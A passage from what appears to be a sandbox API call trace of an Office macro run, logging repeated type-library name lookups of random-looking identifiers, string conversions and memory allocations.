_DstSize=0xa, _Src="MoDJTzLaT" | out: _Dst="MoDJTzLaT") returned 0x0 [0018.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="MoDJTzLaT") returned 10 [0018.993] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.993] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="MoDJTzLaT", lHashVal=0x104bfe, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.993] IUnknown:Release (This=0x7919520) returned 0x10 [0018.993] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.993] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="MoDJTzLaT", lHashVal=0x104bfe, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.993] IUnknown:Release (This=0x7346470) returned 0xb [0018.993] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.993] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="MoDJTzLaT", lHashVal=0x104bfe, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.993] IUnknown:Release (This=0x7345930) returned 0x7 [0018.993] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.993] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="MoDJTzLaT", lHashVal=0x104bfe, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.993] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.993] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.993] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_MoDJTzLaT" | out: _Dst="_B_var_MoDJTzLaT") returned 0x0 [0018.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_MoDJTzLaT") returned 17 [0018.993] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.993] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_MoDJTzLaT", lHashVal=0x105543, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.993] IUnknown:Release (This=0x7919520) returned 0x10 [0018.993] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.993] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_MoDJTzLaT", lHashVal=0x105543, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.993] IUnknown:Release (This=0x7346470) returned 0xb [0018.993] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.993] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_MoDJTzLaT", lHashVal=0x105543, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.993] IUnknown:Release (This=0x7345930) returned 0x7 [0018.993] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.993] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_MoDJTzLaT", lHashVal=0x105543, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.993] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.993] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.993] IUnknown:Release (This=0x7919520) returned 0x10 [0018.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77c0c, cbMultiByte=18, lpWideCharStr=0xd19103c, cchWideChar=38 | out: lpWideCharStr="PKSEQcWzcqCjfR LA") returned 18 [0018.993] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jdVEYd") returned 0x1027bd [0018.993] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="jdVEYd" | out: _Dst="jdVEYd") returned 0x0 [0018.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="jdVEYd") returned 7 [0018.994] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.994] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="jdVEYd", lHashVal=0x1027bd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.994] IUnknown:Release (This=0x7919520) returned 0x10 [0018.994] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.994] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="jdVEYd", lHashVal=0x1027bd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.994] IUnknown:Release (This=0x7346470) returned 0xb [0018.994] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.994] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="jdVEYd", lHashVal=0x1027bd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.994] IUnknown:Release (This=0x7345930) returned 0x7 [0018.994] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.994] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="jdVEYd", lHashVal=0x1027bd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.994] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.994] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.994] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_jdVEYd" | out: _Dst="_B_var_jdVEYd") returned 0x0 [0018.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_jdVEYd") returned 14 [0018.994] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.994] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_jdVEYd", lHashVal=0x10a266, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.994] IUnknown:Release (This=0x7919520) returned 0x10 [0018.994] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.994] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_jdVEYd", lHashVal=0x10a266, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.994] IUnknown:Release (This=0x7346470) returned 0xb [0018.994] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.994] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_jdVEYd", lHashVal=0x10a266, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.994] IUnknown:Release (This=0x7345930) returned 0x7 [0018.994] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.994] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_jdVEYd", lHashVal=0x10a266, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.994] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.994] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.994] IUnknown:Release (This=0x7919520) returned 0x10 [0018.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77c34, cbMultiByte=10, lpWideCharStr=0xd191d7e, cchWideChar=22 | out: lpWideCharStr="MjjuhbrIjw") returned 10 [0018.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77c4e, cbMultiByte=10, lpWideCharStr=0xd1921c8, cchWideChar=22 | out: lpWideCharStr="IMXdjYGhoE") returned 10 [0018.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77c62, cbMultiByte=10, lpWideCharStr=0xd192372, cchWideChar=22 | out: lpWideCharStr="zMfPIjwTkH") returned 10 [0018.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77c76, cbMultiByte=10, lpWideCharStr=0xd19251c, cchWideChar=22 | out: lpWideCharStr="wblJQXPqnu") returned 10 [0018.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77c8a, cbMultiByte=10, lpWideCharStr=0xd1926c6, cchWideChar=22 | out: lpWideCharStr="GPcvPvNbzu") returned 10 [0018.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77c9e, cbMultiByte=10, lpWideCharStr=0xd192870, cchWideChar=22 | out: lpWideCharStr="SlLfiAAQmA") returned 10 [0018.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77cb2, cbMultiByte=10, lpWideCharStr=0xd192a1a, cchWideChar=22 | out: lpWideCharStr="dYYbzjaNMJ") returned 10 [0018.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77cc6, cbMultiByte=10, lpWideCharStr=0xd192bc4, cchWideChar=22 | out: lpWideCharStr="IPuuzijkAN") returned 10 [0018.995] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd1a0000 [0018.996] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rovRiJVB") returned 0x10cb90 [0018.996] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="rovRiJVB" | out: _Dst="rovRiJVB") returned 0x0 [0018.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="rovRiJVB") returned 9 [0018.996] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.996] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="rovRiJVB", lHashVal=0x10cb90, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.996] IUnknown:Release (This=0x7919520) returned 0x10 [0018.996] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.996] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="rovRiJVB", lHashVal=0x10cb90, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.996] IUnknown:Release (This=0x7346470) returned 0xb [0018.996] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.996] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="rovRiJVB", lHashVal=0x10cb90, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.996] IUnknown:Release (This=0x7345930) returned 0x7 [0018.996] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.996] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="rovRiJVB", lHashVal=0x10cb90, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.997] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.997] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.997] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_rovRiJVB" | out: _Dst="_B_var_rovRiJVB") returned 0x0 [0018.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_rovRiJVB") returned 16 [0018.997] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.997] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_rovRiJVB", lHashVal=0x109398, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.997] IUnknown:Release (This=0x7919520) returned 0x10 [0018.997] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.997] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_rovRiJVB", lHashVal=0x109398, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.997] IUnknown:Release (This=0x7346470) returned 0xb [0018.997] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.997] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_rovRiJVB", lHashVal=0x109398, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.997] IUnknown:Release (This=0x7345930) returned 0x7 [0018.997] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.997] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_rovRiJVB", lHashVal=0x109398, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.997] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.997] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.997] IUnknown:Release (This=0x7919520) returned 0x10 [0018.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77ce4, cbMultiByte=10, lpWideCharStr=0xd1a103c, cchWideChar=22 | out: lpWideCharStr="qjoREiczfM") returned 10 [0018.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77cfe, cbMultiByte=10, lpWideCharStr=0xd1a1486, cchWideChar=22 | out: lpWideCharStr="wbfAPRuzvd") returned 10 [0018.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77d12, cbMultiByte=10, lpWideCharStr=0xd1a1630, cchWideChar=22 | out: lpWideCharStr="bhBTmkTZwt") returned 10 [0018.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77d26, cbMultiByte=10, lpWideCharStr=0xd1a17da, cchWideChar=22 | out: lpWideCharStr="CpYbvlKHdR") returned 10 [0018.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77d3a, cbMultiByte=10, lpWideCharStr=0xd1a1984, cchWideChar=22 | out: lpWideCharStr="fjAtLBbOzA") returned 10 [0018.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77d4e, cbMultiByte=10, lpWideCharStr=0xd1a1b2e, cchWideChar=22 | out: lpWideCharStr="ERXbAJhUiU") returned 10 [0018.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77d62, cbMultiByte=10, lpWideCharStr=0xd1a1cd8, cchWideChar=22 | out: lpWideCharStr="PCAlJJDEEd") returned 10 [0018.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77d76, cbMultiByte=10, lpWideCharStr=0xd1a1e82, cchWideChar=22 | out: lpWideCharStr="GmWdzrjIIk") returned 10 [0018.998] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QjThfcn") returned 0x1093a9 [0018.998] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="QjThfcn" | out: _Dst="QjThfcn") returned 0x0 [0018.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="QjThfcn") returned 8 [0018.998] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.998] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="QjThfcn", lHashVal=0x1093a9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.998] IUnknown:Release (This=0x7919520) returned 0x10 [0018.998] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.998] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="QjThfcn", lHashVal=0x1093a9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.998] IUnknown:Release (This=0x7346470) returned 0xb [0018.998] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.998] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="QjThfcn", lHashVal=0x1093a9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.998] IUnknown:Release (This=0x7345930) returned 0x7 [0018.998] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.998] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="QjThfcn", lHashVal=0x1093a9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.998] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.998] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0018.998] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_QjThfcn" | out: _Dst="_B_var_QjThfcn") returned 0x0 [0018.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_QjThfcn") returned 15 [0018.998] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.998] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_QjThfcn", lHashVal=0x10972d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.998] IUnknown:Release (This=0x7919520) returned 0x10 [0018.998] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.999] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_QjThfcn", lHashVal=0x10972d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.999] IUnknown:Release (This=0x7346470) returned 0xb [0018.999] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.999] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_QjThfcn", lHashVal=0x10972d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.999] IUnknown:Release (This=0x7345930) returned 0x7 [0018.999] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.999] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_QjThfcn", lHashVal=0x10972d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.999] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.999] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0xd1b0000 [0019.000] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.000] IUnknown:Release (This=0x7919520) returned 0x10 [0019.000] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd1c0000 [0019.000] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0019.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77d94, cbMultiByte=10, lpWideCharStr=0xd1c030c, cchWideChar=22 | out: lpWideCharStr="HhSIzKzGIX") returned 10 [0019.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77dae, cbMultiByte=10, lpWideCharStr=0xd1c0756, cchWideChar=22 | out: lpWideCharStr="OSwYhSlLIt") returned 10 [0019.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77dc2, cbMultiByte=10, lpWideCharStr=0xd1c0900, cchWideChar=22 | out: lpWideCharStr="mbOhRbzOus") returned 10 [0019.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77dd6, cbMultiByte=10, lpWideCharStr=0xd1c0aaa, cchWideChar=22 | out: lpWideCharStr="uEMZPIFLSz") returned 10 [0019.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77dea, cbMultiByte=10, lpWideCharStr=0xd1c0c54, cchWideChar=22 | out: lpWideCharStr="jXZbikiudt") returned 10 [0019.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77dfe, cbMultiByte=10, lpWideCharStr=0xd1c0dfe, cchWideChar=22 | out: lpWideCharStr="GjiBrjTkqY") returned 10 [0019.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77e12, cbMultiByte=10, lpWideCharStr=0xd1c0fa8, cchWideChar=22 | out: lpWideCharStr="LlLPcJFYIY") returned 10 [0019.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77e26, cbMultiByte=10, lpWideCharStr=0xd1c1152, cchWideChar=22 | out: lpWideCharStr="MatJNPBmDj") returned 10 [0019.002] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="qTwFNXSrmC") returned 0x10e8cc [0019.002] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="qTwFNXSrmC" | out: _Dst="qTwFNXSrmC") returned 0x0 [0019.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="qTwFNXSrmC") returned 11 [0019.002] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.002] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="qTwFNXSrmC", lHashVal=0x10e8cc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.002] IUnknown:Release (This=0x7919520) returned 0x10 [0019.002] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.002] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="qTwFNXSrmC", lHashVal=0x10e8cc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.002] IUnknown:Release (This=0x7346470) returned 0xb [0019.002] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.002] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="qTwFNXSrmC", lHashVal=0x10e8cc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.002] IUnknown:Release (This=0x7345930) returned 0x7 [0019.002] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.002] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="qTwFNXSrmC", lHashVal=0x10e8cc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.002] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.002] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.002] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_qTwFNXSrmC" | out: _Dst="_B_var_qTwFNXSrmC") returned 0x0 [0019.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_qTwFNXSrmC") returned 18 [0019.002] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.002] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_qTwFNXSrmC", lHashVal=0x1056f7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.002] IUnknown:Release (This=0x7919520) returned 0x10 [0019.002] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.002] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_qTwFNXSrmC", lHashVal=0x1056f7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.002] IUnknown:Release (This=0x7346470) returned 0xb [0019.002] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.002] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_qTwFNXSrmC", lHashVal=0x1056f7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.002] IUnknown:Release (This=0x7345930) returned 0x7 [0019.002] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.002] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_qTwFNXSrmC", lHashVal=0x1056f7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.002] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.002] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.002] IUnknown:Release (This=0x7919520) returned 0x10 [0019.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77e44, cbMultiByte=11, lpWideCharStr=0xd1c35c4, cchWideChar=24 | out: lpWideCharStr="GcifSwULasa") returned 11 [0019.002] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uYRndOIYcJ") returned 0x10f6ad [0019.002] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="uYRndOIYcJ" | out: _Dst="uYRndOIYcJ") returned 0x0 [0019.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="uYRndOIYcJ") returned 11 [0019.002] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.002] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="uYRndOIYcJ", lHashVal=0x10f6ad, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.002] IUnknown:Release (This=0x7919520) returned 0x10 [0019.003] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.003] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="uYRndOIYcJ", lHashVal=0x10f6ad, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.003] IUnknown:Release (This=0x7346470) returned 0xb [0019.003] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.003] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="uYRndOIYcJ", lHashVal=0x10f6ad, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.003] IUnknown:Release (This=0x7345930) returned 0x7 [0019.003] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.003] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="uYRndOIYcJ", lHashVal=0x10f6ad, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.003] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.003] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.003] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_uYRndOIYcJ" | out: _Dst="_B_var_uYRndOIYcJ") returned 0x0 [0019.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_uYRndOIYcJ") returned 18 [0019.003] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.003] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_uYRndOIYcJ", lHashVal=0x1064d8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.003] IUnknown:Release (This=0x7919520) returned 0x10 [0019.003] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.003] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_uYRndOIYcJ", lHashVal=0x1064d8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, 